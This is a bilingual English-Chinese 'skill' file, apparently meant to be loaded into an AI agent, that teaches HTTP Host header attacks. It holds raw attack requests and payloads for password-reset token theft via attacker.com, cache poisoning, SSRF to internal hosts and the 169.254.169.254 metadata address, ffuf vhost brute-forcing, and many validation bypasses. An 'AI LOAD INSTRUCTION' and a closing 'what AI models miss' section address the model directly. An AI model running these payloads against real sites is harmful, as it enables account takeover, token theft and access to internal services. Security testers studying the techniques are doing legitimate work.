http-host-header-attacks

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: HTTP Host Header Attacks — Injection & Routing Abuse

SKILL: HTTP Host Header Attacks — 注入与路由滥用

AI LOAD INSTRUCTION: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.
AI加载说明:涵盖用于密码重置投毒、缓存投毒、路由型SSRF和虚拟主机绕过的Host头注入技术,包含Host验证绕过技巧以及特定框架的行为特性。基础模型通常会遗漏双Host头技巧、绝对URI覆盖和连接状态攻击。

0. RELATED ROUTING

0. 相关路由

  • web-cache-deception when Host injection is combined with cache behavior
  • ssrf-server-side-request-forgery when Host header routes requests to internal services
  • open-redirect when Host injection causes redirect to attacker domain
  • waf-bypass-techniques when Host manipulation helps bypass WAF routing
  • request-smuggling when smuggling enables Host header manipulation past front-end validation
  • subdomain-takeover when Host routing exposes internal vhosts resolvable via subdomain

  • web-cache-deception 当Host注入与缓存行为结合时参考
  • ssrf-server-side-request-forgery 当Host头将请求路由到内部服务时参考
  • open-redirect 当Host注入导致跳转到攻击者域名时参考
  • waf-bypass-techniques 当Host操纵有助于绕过WAF路由时参考
  • request-smuggling 当请求走私可绕过前端验证实现Host头操纵时参考
  • subdomain-takeover 当Host路由暴露可通过子域名解析的内部虚拟主机时参考

1. ATTACK SURFACE

1. 攻击面

The Host header is used by web applications and infrastructure for:
UsageExploitation
URL generation (password reset links, email links)Inject attacker domain → user clicks link to attacker
Virtual host routingSpoof Host → access internal/admin vhost
Cache key componentInject different Host → poison cache for all users
Reverse proxy routingHost determines backend → SSRF to internal services
Access control decisionsHost-based ACLs can be bypassed
Canonical URL / SEO redirectsHost injection → open redirect

Web应用和基础设施对Host头的常见用途及对应利用方式:
用途利用方式
URL生成(密码重置链接、邮件链接)注入攻击者域名 → 用户点击链接跳转到攻击者站点
虚拟主机路由伪造Host头 → 访问内部/管理端虚拟主机
缓存键组成部分注入不同的Host头 → 为所有用户投毒缓存
反向代理路由Host决定后端服务 → 发起SSRF访问内部服务
访问控制决策可绕过基于Host的访问控制列表
规范URL / SEO跳转Host注入 → 开放跳转漏洞

2. PASSWORD RESET POISONING

2. 密码重置投毒

The most common and impactful Host header attack.
最常见、影响最大的Host头攻击类型。

How It Works

攻击原理

1. Attacker requests password reset for victim@target.com
2. Attacker modifies Host header in the reset request:
   POST /forgot-password HTTP/1.1
   Host: attacker.com    ← injected
   
   email=victim@target.com

3. Server generates reset link using Host header value:
   "Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"

4. Victim receives email, clicks link → token sent to attacker
5. Attacker uses token on real target.com to reset password
1. 攻击者请求为victim@target.com重置密码
2. 攻击者修改重置请求中的Host头:
   POST /forgot-password HTTP/1.1
   Host: attacker.com    ← 注入的恶意Host
   
   email=victim@target.com

3. 服务器使用Host头的值生成重置链接:
   "点击重置密码:https://attacker.com/reset?token=SECRET_TOKEN"

4. 受害者收到邮件后点击链接 → 令牌被发送到攻击者服务器
5. 攻击者使用令牌在真实的target.com站点重置密码

Testing

测试方法

http
POST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded

email=victim@target.com
Check Burp Collaborator for incoming HTTP request with the reset token.
http
POST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded

email=victim@target.com
检查Burp Collaborator是否收到携带重置令牌的HTTP请求。

Variants

变种

  • Some apps concatenate:
    Host: target.com.attacker.com
    → link becomes
    https://target.com.attacker.com/reset?token=xxx
  • Some apps use only the port portion:
    Host: target.com:@attacker.com
    → parsed as
    attacker.com
    in some URL parsers

  • 部分应用会拼接Host:
    Host: target.com.attacker.com
    → 生成的链接变为
    https://target.com.attacker.com/reset?token=xxx
  • 部分应用仅解析端口部分:
    Host: target.com:@attacker.com
    → 部分URL解析器会将其识别为
    attacker.com

3. WEB CACHE POISONING VIA HOST

3. 通过Host头实现的Web缓存投毒

1. Attacker sends:
   GET / HTTP/1.1
   Host: attacker.com

2. If cache keys on URL path but NOT on Host header:
   → Response cached with attacker.com in generated links/content

3. Subsequent users requesting GET / receive the poisoned response
   → Links point to attacker.com, scripts load from attacker.com
Key requirement: Cache must not include Host header in cache key, but application must use Host in response body.
Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.

1. 攻击者发送请求:
   GET / HTTP/1.1
   Host: attacker.com

2. 如果缓存键仅基于URL路径、不包含Host头:
   → 响应中生成的链接/内容携带attacker.com被缓存

3. 后续请求GET /的用户都会收到被投毒的响应
   → 链接指向attacker.com,脚本从attacker.com加载
核心前提:缓存的缓存键不能包含Host头,但应用必须在响应体中使用Host头的值。
测试方法:发送两个携带不同Host值的请求,检查第二个请求的响应中是否返回第一个请求的Host值。

4. SSRF VIA HOST ROUTING

4. 通过Host路由实现的SSRF

When a reverse proxy uses Host header to route to backends:
GET /api/internal HTTP/1.1
Host: internal-admin-panel.local

→ Reverse proxy routes request to internal-admin-panel.local
→ Attacker accesses internal service
Common in:
  • Nginx
    proxy_pass
    based on
    $host
  • Apache
    ProxyPass
    with virtual host routing
  • Kubernetes Ingress controllers
  • Cloud load balancers

当反向代理使用Host头路由到后端服务时:
GET /api/internal HTTP/1.1
Host: internal-admin-panel.local

→ 反向代理将请求路由到internal-admin-panel.local
→ 攻击者成功访问内部服务
常见场景:
  • 基于
    $host
    配置Nginx
    proxy_pass
  • 配置了虚拟主机路由的Apache
    ProxyPass
  • Kubernetes Ingress控制器
  • 云负载均衡器

5. VIRTUAL HOST BYPASS

5. 虚拟主机绕过

Many servers host multiple applications on the same IP via virtual hosting:
Target:  Host: www.target.com  → public site
Hidden:  Host: admin.target.com → admin panel (not in public DNS)
Hidden:  Host: staging.target.com → staging environment
Hidden:  Host: localhost → server status page
很多服务器通过虚拟主机技术在同一IP上托管多个应用:
公开服务:Host: www.target.com  → 公开站点
隐藏服务:Host: admin.target.com → 管理面板(未公开在公网DNS)
隐藏服务:Host: staging.target.com → 测试环境
隐藏服务:Host: localhost → 服务器状态页

Discovery

发现方法

1. Brute-force Host header with common vhost names:
   ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt

2. Try special values:
   Host: localhost
   Host: 127.0.0.1
   Host: admin
   Host: internal
   Host: intranet

3. Compare response size/content to identify different vhosts

1. 使用常见虚拟主机名字典爆破Host头:
   ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt

2. 尝试特殊值:
   Host: localhost
   Host: 127.0.0.1
   Host: admin
   Host: internal
   Host: intranet

3. 对比响应大小/内容来识别不同的虚拟主机

6. BYPASS TECHNIQUES WHEN HOST IS VALIDATED

6. Host被验证时的绕过技巧

6.1 Override Headers

6.1 覆盖头

Many frameworks/proxies trust these headers over the Host header:
HeaderFrameworks That Trust It
X-Forwarded-Host
Symfony, Laravel, Django (when
USE_X_FORWARDED_HOST=True
), Rails (behind proxy)
X-Host
Some custom proxy configurations
X-Original-URL
IIS with URL Rewrite module
X-Rewrite-URL
IIS with URL Rewrite module
Forwarded: host=attacker.com
RFC 7239 compliant proxies
X-Forwarded-Server
Apache mod_proxy
Test all simultaneously:
http
GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.com
很多框架/代理会优先信任以下头而不是Host头:
头名称信任该头的框架
X-Forwarded-Host
Symfony、Laravel、Django(当
USE_X_FORWARDED_HOST=True
时)、代理后的Rails
X-Host
部分自定义代理配置
X-Original-URL
安装了URL重写模块的IIS
X-Rewrite-URL
安装了URL重写模块的IIS
Forwarded: host=attacker.com
符合RFC 7239标准的代理
X-Forwarded-Server
Apache mod_proxy
同时测试所有头:
http
GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.com

6.2 Absolute URL in Request Line

6.2 请求行中的绝对URL

http
GET http://attacker.com/path HTTP/1.1
Host: target.com
Per HTTP/1.1 spec (RFC 7230): if the request line contains an absolute URI, the Host header SHOULD be ignored. Some servers follow this, some don't — the mismatch between proxy and backend creates the vulnerability.
http
GET http://attacker.com/path HTTP/1.1
Host: target.com
根据HTTP/1.1规范(RFC 7230):如果请求行包含绝对URI,应该忽略Host头。部分服务器遵守该规范,部分不遵守——代理和后端的行为差异会产生漏洞。

6.3 Double Host Header

6.3 双Host头

http
GET /path HTTP/1.1
Host: target.com
Host: attacker.com
Behavior varies:
  • Some proxies validate first Host, app uses second
  • Some servers concatenate:
    target.com, attacker.com
  • RFC says: if both differ, return 400. Most servers don't.
http
GET /path HTTP/1.1
Host: target.com
Host: attacker.com
不同服务的行为差异:
  • 部分代理验证第一个Host,应用使用第二个Host
  • 部分服务器拼接两个Host:
    target.com, attacker.com
  • RFC规定:如果两个Host不一致,应该返回400。绝大多数服务器没有遵守该规定。

6.4 Host with Port / Credentials

6.4 带端口/凭证的Host

http
Host: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%23@target.com
URL parsers may extract the "host" portion differently when credentials (
@
) or fragments (
#
) are present.
http
Host: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%23@target.com
当存在凭证(
@
)或片段(
#
)时,不同URL解析器提取的“host”部分可能不同。

6.5 Trailing Dot

6.5 末尾点

http
Host: target.com.
DNS treats
target.com.
and
target.com
identically (trailing dot = FQDN). But Host validation may not strip the trailing dot →
target.com. ≠ target.com
in string comparison → bypass whitelist.
http
Host: target.com.
DNS认为
target.com.
target.com
是完全相同的(末尾点代表完全限定域名),但Host验证可能不会去掉末尾点 → 字符串对比时
target.com. ≠ target.com
→ 绕过白名单。

6.6 Tab / Space Injection

6.6 制表符/空格注入

http
Host: target.com\tattacker.com
Host: target.com attacker.com
Some parsers split on whitespace; the server may use
attacker.com
portion while validation checks
target.com
portion.
http
Host: target.com\tattacker.com
Host: target.com attacker.com
部分解析器会按空白符分割,验证器检查
target.com
部分,而服务器可能使用
attacker.com
部分。

6.7 Wrap-Around / Enclosed Values

6.7 环绕/封闭值

http
Host: "attacker.com"
Host: <attacker.com>
Quoted or bracketed values may be stripped by the app but not by the validator.

http
Host: "attacker.com"
Host: <attacker.com>
带引号或括号的值可能会被应用去掉,但验证器不会去掉,从而实现绕过。

7. FRAMEWORK-SPECIFIC BEHAVIOR

7. 特定框架的行为

FrameworkHost SourceGotcha
PHP
$_SERVER['HTTP_HOST']
(raw header, directly injectable)
SERVER_NAME
is safer only with
UseCanonicalName On
Django
HttpRequest.get_host()
checks X-Forwarded-Host first (if enabled)
USE_X_FORWARDED_HOST=True
bypasses
ALLOWED_HOSTS
Rails
request.host
from Host header; trusts
X-Forwarded-Host
behind proxy
Rails 6+
HostAuthorization
middleware mitigates
Node/Express
req.hostname
/
req.headers.host
; with
trust proxy
uses X-Forwarded-Host
No built-in host validation

框架Host来源注意事项
PHP
$_SERVER['HTTP_HOST']
(原始头,可直接注入)
仅当配置
UseCanonicalName On
SERVER_NAME
才安全
Django
HttpRequest.get_host()
优先检查X-Forwarded-Host(如果启用)
USE_X_FORWARDED_HOST=True
会绕过
ALLOWED_HOSTS
验证
Rails
request.host
来自Host头;代理后的服务会信任
X-Forwarded-Host
Rails 6+的
HostAuthorization
中间件可缓解该问题
Node/Express
req.hostname
/
req.headers.host
;开启
trust proxy
时使用X-Forwarded-Host
没有内置的Host验证机制

8. CONNECTION-STATE ATTACKS

8. 连接状态攻击

A sophisticated variant exploiting HTTP keep-alive:
Connection 1:
  Request 1: GET / HTTP/1.1    ← Valid Host: target.com
              Host: target.com     → Proxy validates, forwards, keeps connection open

  Request 2: GET /admin HTTP/1.1  ← Evil Host on SAME connection
              Host: evil.com       → Some proxies skip validation on subsequent requests
                                     (they validated the connection on first request)
This works against proxies that perform Host validation only on the first request of a keep-alive connection.
利用HTTP长连接的复杂变种攻击:
连接1:
  请求1:GET / HTTP/1.1    ← 合法Host: target.com
              Host: target.com     → 代理验证通过,转发请求,保持连接开启

  请求2:GET /admin HTTP/1.1  ← 同一连接下的恶意Host
              Host: evil.com       → 部分代理不会对后续请求做验证
                                     (它们认为首次请求已经验证过连接合法性)
这种攻击对仅在长连接的首个请求做Host验证的代理有效。

Testing

测试方法

1. Use Burp Repeater with "Connection: keep-alive"
2. Send normal request first
3. On same connection, send request with manipulated Host
4. Check if second request is processed differently

1. 使用Burp Repeater,设置"Connection: keep-alive"
2. 先发送正常请求
3. 在同一连接下发送Host被篡改的请求
4. 检查第二个请求的处理结果是否异常

9. HOST HEADER ATTACK DECISION TREE

9. Host头攻击决策树

Application uses Host header in responses/behavior?
├── Test direct Host injection
│   ├── Change Host to attacker domain → reflected in response?
│   │   ├── YES → Check impact:
│   │   │   ├── In password reset emails? → PASSWORD RESET POISONING
│   │   │   ├── In cached responses? → WEB CACHE POISONING
│   │   │   ├── In redirects? → OPEN REDIRECT
│   │   │   └── In script/link URLs? → XSS VIA HOST
│   │   └── NO (400/403/different response) → Host is validated
│   │
│   └── Host validated? Try bypasses:
│       ├── X-Forwarded-Host header
│       ├── X-Host / X-Original-URL / Forwarded header
│       ├── Absolute URL in request line
│       ├── Double Host header
│       ├── Host: target.com:@attacker.com (URL parser confusion)
│       ├── Host: target.com. (trailing dot)
│       ├── Tab/space injection in Host value
│       └── Connection-state attack (valid first request, evil second)
├── Test virtual host enumeration
│   ├── Brute-force Host values against target IP
│   ├── Try: localhost, admin, staging, internal, intranet
│   └── Compare response sizes for different Host values
├── Test SSRF via Host routing
│   ├── Host: 127.0.0.1 → internal service?
│   ├── Host: internal-hostname.local → internal routing?
│   └── Host: 169.254.169.254 → cloud metadata?
└── No Host-based behavior found
    └── Check if app uses Host in server-side operations
        (email generation, webhook URLs, API callbacks)

应用是否在响应/业务逻辑中使用Host头?
├── 测试直接Host注入
│   ├── 将Host改为攻击者域名 → 是否在响应中回显?
│   │   ├── 是 → 检查影响:
│   │   │   ├── 是否出现在密码重置邮件中? → 密码重置投毒
│   │   │   ├── 是否出现在缓存响应中? → Web缓存投毒
│   │   │   ├── 是否出现在跳转中? → 开放跳转
│   │   │   └── 是否出现在脚本/链接URL中? → 通过Host头实现XSS
│   │   └── 否(返回400/403/响应不同) → Host被验证
│   │
│   └── Host被验证?尝试绕过:
│       ├── X-Forwarded-Host头
│       ├── X-Host / X-Original-URL / Forwarded头
│       ├── 请求行中的绝对URL
│       ├── 双Host头
│       ├── Host: target.com:@attacker.com(URL解析器混淆)
│       ├── Host: target.com.(末尾点)
│       ├── Host值中注入制表符/空格
│       └── 连接状态攻击(先发送合法请求,再发送恶意请求)
├── 测试虚拟主机枚举
│   ├── 针对目标IP爆破Host值
│   ├── 尝试:localhost、admin、staging、internal、intranet
│   └── 对比不同Host值的响应大小
├── 测试Host路由型SSRF
│   ├── Host: 127.0.0.1 → 是否访问到内部服务?
│   ├── Host: internal-hostname.local → 是否能内部路由?
│   └── Host: 169.254.169.254 → 是否访问到云元数据服务?
└── 未发现基于Host的行为
    └── 检查应用是否在服务端操作中使用Host
        (邮件生成、Webhook URL、API回调)

10. TRICK NOTES — WHAT AI MODELS MISS

10. 技巧说明——AI模型常遗漏的点

  1. Password reset poisoning doesn't require the victim to be logged in — you request the reset, the victim just clicks the link. The token lands on your server.
  2. X-Forwarded-Host is the #1 missed bypass: Most Host validation checks
    Host
    header but frameworks silently prefer
    X-Forwarded-Host
    when behind a proxy.
  3. Double Host header is protocol-valid but behavior-undefined: RFC says reject with 400, but almost no server actually does this. The mismatch between proxy and app is the vulnerability.
  4. Absolute URI overrides Host per RFC:
    GET http://evil.com/path HTTP/1.1\nHost: target.com
    — the spec says use the request-line URI. But not all implementations agree.
  5. Cache poisoning via Host requires the cache to exclude Host from the key: Most CDNs include Host in the cache key. But custom Varnish/Nginx caches may not. Also test with
    X-Forwarded-Host
    as cache key differentiator.
  6. Connection-state attacks are rarely tested: Automated scanners don't test keep-alive behavior. Manual testing via Burp Repeater's connection reuse is essential.
  7. DNS rebinding + Host attacks: If you control DNS, point your domain to the target's IP → your domain resolves to their server → Host header says your domain, but request hits their server. Useful for bypassing IP-based access controls.
  1. 密码重置投毒不需要受害者登录——你发起重置请求,受害者只需要点击链接,令牌就会发送到你的服务器。
  2. X-Forwarded-Host是最常被遗漏的绕过方式:绝大多数Host验证只会检查
    Host
    头,但框架在代理后会默认优先使用
    X-Forwarded-Host
  3. 双Host头符合协议规范但行为未定义:RFC规定要返回400,但几乎没有服务器实际执行该规则,代理和应用的行为差异就是漏洞来源。
  4. 绝对URI按RFC规定会覆盖Host
    GET http://evil.com/path HTTP/1.1\nHost: target.com
    ——规范要求使用请求行的URI,但不是所有实现都遵守该规则。
  5. Host型缓存投毒要求缓存键不包含Host:绝大多数CDN的缓存键会包含Host,但自定义的Varnish/Nginx缓存可能不会。也可以测试
    X-Forwarded-Host
    是否会影响缓存键。
  6. 连接状态攻击很少被测试:自动化扫描器不会测试长连接行为,必须通过Burp Repeater的连接复用功能手动测试。
  7. DNS重绑定+Host攻击:如果你控制DNS,将你的域名指向目标IP → 你的域名解析到目标服务器 → Host头设置为你的域名,但请求会到达目标服务器,可用于绕过基于IP的访问控制。